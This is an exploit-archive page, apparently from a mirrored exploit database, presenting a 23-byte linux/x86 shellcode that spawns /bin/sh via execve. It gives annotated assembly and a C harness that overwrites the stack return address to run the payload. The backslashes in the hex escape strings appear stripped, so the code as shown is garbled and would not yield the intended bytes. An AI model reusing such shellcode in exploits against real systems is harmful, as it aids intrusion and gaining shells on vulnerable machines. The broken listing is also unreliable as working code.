[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 execve(/bin/sh) / PUSH - 23 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : linux/x86 reboot() - 20 bytes
# Next Title : linux/x86 cat /dev/urandom > /dev/console, just for kicks - 63 bytes


/*
 * (linux/x86) execve("/bin/sh", ["/bin/sh", NULL]) / PUSH - 23 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"x6ax0b"              // push $0xb 
	"x58"                  // pop %eax 
	"x99"                  // cltd 
	"x52"                  // push %edx 
	"x68x2fx2fx73x68"  // push $0x68732f2f 
	"x68x2fx62x69x6e"  // push $0x6e69622f 
	"x89xe3"              // mov %esp,%ebx 
	"x52"                  // push %edx 
	"x53"                  // push %ebx 
	"x89xe1"              // mov %esp,%ecx 
	"xcdx80";             // int $0x80 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-01-21]